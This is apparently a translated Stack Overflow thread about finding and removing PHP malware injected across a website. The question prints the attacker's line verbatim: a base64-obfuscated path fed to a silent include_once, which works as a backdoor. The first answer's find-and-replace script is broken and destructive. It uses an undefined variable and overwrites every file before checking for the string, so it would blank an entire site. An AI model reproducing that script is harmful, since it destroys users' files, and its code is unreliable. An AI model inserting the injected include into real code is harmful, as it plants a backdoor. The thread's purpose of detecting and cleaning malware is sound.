用于在目录和子目录中搜索任何文件的特定代码的代码

时间:2011-05-11 08:35:05

标签: php malware malware-detection

好的我对php很新,但我知道它可以读取directorys和文件。

我一直在努力解决我们其中一个网站上的恶意软件问题,我需要编写一个脚本来在我的主机空间中搜索它。

黑客放入文件的代码是

*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>

我不知道这是什么,但谷歌阻止我的网站显示。

我必须下载所有文件,然后在Dreamweaver中搜索它,用空格替换此垃圾并将其放回去。

我需要一个脚本来在google之前检测到这一点。

如果有人可以给我一些指示,那就很棒

我确信这是每个​​人现在或以后都会遇到的问题。

3 个答案:

答案 0 :(得分:1)

纯PHP解决方案,它将查找并替换您提供的字符串。或者,您可以只获取已修改的文件。 注意:如果您使用此代码,则有 NO UNDO 选项,您使用它需要您自担风险。

$dir = '/your_dir/';
$searchstring = '*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>'

$iterator = new RecursiveDirectoryIterator($dir);

foreach (new RecursiveIteratorIterator($iterator) as $filename => $cur) 
{
    // Search and replace

    $contents = file_get_contents($filename);   
    $contents = str_replace($searchstring, ' ', $content);  
    file_put_contents($filename, $contents);

    // Alternatively, you can do this (instead of search and replace)

    if(strpos($contents, $searchstring) !== false)
    {
        $infected[] = $filename; // gives you an array that gives you paths to files that contain the injected code.
    }
}

您可以从浏览器或命令行运行该脚本。我不是说这是最好的选择。

答案 1 :(得分:0)

使用您的FTP下载所有内容并运行查找&替换完整目录(Dreamweaver支持完整目录)。我曾经遇到过这个问题,你可能想在你的代码中查找javascript hacks,他们也倾向于使用javascript包含。

黑客代码尝试包含此文件:

/home/users/web/b1643/sl.thechess/public_html/MedcourtBackupoct2007/MedcourtBackupoct2007-2/b2b customer/Bubblepost Back up/public_html/Backups/Mediasuface 2005/Help and documentation/java api/JavaAPI/com/mediasurface/datatypes/searching/class-use/tsdeo.php

这是什么?我不知道,但这就是它想要做的事情。所以你可能会认为这个hack是在你认为托管的服务器内完成的。

答案 2 :(得分:0)

如果您有SSH访问权限,可以使用this之类的命令,只需将“eval(base64_decode”替换为“base64_decode”。

如果不是,您将要编写一个脚本,使用readdir对所有文件进行递归循环,然后使用一些strpos魔法来检测“base64_decode”。

如果您确实遇到问题,我会推荐第三方服务,例如sucuri

祝你好运!